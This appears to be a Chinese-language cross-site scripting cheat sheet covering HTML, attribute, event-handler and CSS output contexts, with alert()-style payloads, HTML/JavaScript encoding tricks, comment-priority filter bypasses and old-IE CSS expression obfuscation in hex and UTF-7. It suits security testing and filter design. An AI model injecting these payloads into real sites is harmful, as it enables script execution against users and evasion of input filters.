0x01 XSS常见输出点
- HTML标签之间
- HTML标签之内
- 成为JavaScript代码的值(类似后文中输出在on*事件)
- 闭合引号
- 宽字节环境可采用宽字节注入或者
</script>
闭合(高优先级)
- 成为CSS代码的值(类似后文中输出在style属性内)
HTML标签之间
|
|
注: 有些标签无法执行脚本,如<title>、<textarea>
等
HTML标签之内
<input type="text" value="[输出]" />
- 闭合属性,payload:
" onmouseover="alert(1);" x="
- 闭合标签,payload:
"><script>alert(1);</script>
- 闭合属性,payload:
- 输出在src/href/action等属性内
- javascript:伪协议,如
javascript:alert(1)//
,若/
被过滤,可用JS逻辑与算数表达式代替,如alert(1)-
- data:伪协议(仅IE不支持)
- 伪协议不区分大小写
- javascript:伪协议,如
- 输出在on*事件内
- 具体判断输出作为on*事件的值或某个函数的参数值出现。
- 输出在style属性内
- 对IE,注入expression关键字并适当闭合
0x02 HTML和JavaScript自解码
- 输出的上下文环境为HTML时,可进行HTML形式的编码
- 进制编码:
&#xH;、&#D;
- HTML实体编码:
<
等
- 进制编码:
- 输出的上下文环境为JavaScript时,可进行JavaScript编码
- Unicode形式:
\uH
- 十六进制:
\xH
- 转义:
\'、\"
等
- Unicode形式:
- 编码可参考 XSS字符编码与浏览器解析原理
0x03 具备HtmlEncode功能的标签
<textarea>、<title>、<iframe>、<noscript>、<noframes>
等具有HtmlEncode编码功能<xmp>
没有编码功能<plaintext>
在浏览器中存在差异
0x04 浏览器URL编码差异造成的XSS
- 对’”`<>的编码差异
- 对location.hash值的编码差异
0x05 HTML中的代码注入技巧
标签
- 标签大小写不敏感
根据浏览器对XHTML的支持插入XML代码、SVG代码或未知标签
如在IE6可构造
<XSS STYLE="xss:expression(alert('xss'))">
标签的优先级绕过过滤器
- 如
<textarea>、<title>、<style>、<script>、<xmp>
和注释<!-- -->
或<!-- --!>
具有高优先级。 对下面的代码,过滤器可能会认为
"--><img src=x onerror=alert(1)//"
是属性href的值。1<!-- <a href="--><img src=x onerror=alert(1)//">test</a>如
<! foo="><script></script>">
- 如
- IE HTML 条件控制语句
- 如
<!--[if IE 6]>only IE6..test..<![endif]-->
- 如
<!--[if <img src=x onerror=alert(2)//]> -->
- 如
<svg>
标签下的<script>
或其他CDATA元素会先进行XML解析,因此,可进行HTML实体编码或进制编码。1<svg><script>alert(1)</script>
属性
- 属性大小写不敏感
- IE中属性可用反引号包括
- 标签与属性、属性名与等号、等号与属性值之间可插入空格、换行符、回车符或Tab等。
在属性值的头部和尾部(引号内)插入控制字符(ASCII值1~32),如:
1<a  href=" javascript:alert(1)">test</a>黑膜法:
<input type="image"
0x06 CSS中代码注入技巧(大部分仅在IE低版本可用)
- 大小写不敏感
- 属性值对单双引号不敏感
- 资源类属性的URL部分对单双引号或无引号不敏感
- 空格可用tab、回车和换行符替代被浏览器解析
资源类属性中通过伪协议完成XSS利用,如:
1body{background-image:url('jAvasCRipT:alert(1)');}behavior引入一段含JS的代码片段,不能跨域。(IE)
@import引入一段CSS代码
可在任意地方插入
'\'
以及'\'+0
的组合(IE7及以下),如:1@\iMp\00or\0T "url";IE8开始
'\'+0
不可用,'\'
仍然可用。
expression(IE7及以下版本)
用注释混淆:
1body{xs/*zzz*/s:ex/**/press/**/ion((window.x==1)?'':eval('x=1;alert(2);'));}在IE6下,可用全角字符混淆:
1body{xss:expression((window.x==1)?'':eval('x=1;alert(2);'));}16进制编码:
body{\078\073\073:\065\078\070\072\065\073\073\069\06f\06e((window.x==1)?'':eval('x=1;alert(2);'));}
utf-7编码:
1234@charset "utf-7";body{aaa:e+AHgAcABy-e+AHMAcw-i+AG8-n+ACg-if+ACgAdw-ind+AG8AdwAuAHgAIQA9ADEAKQB7AGEAbA-e+AHIAdAAoADEAKQA7AHc-ind+AG8AdwAuAHgAPQAxADsAfQApADs-}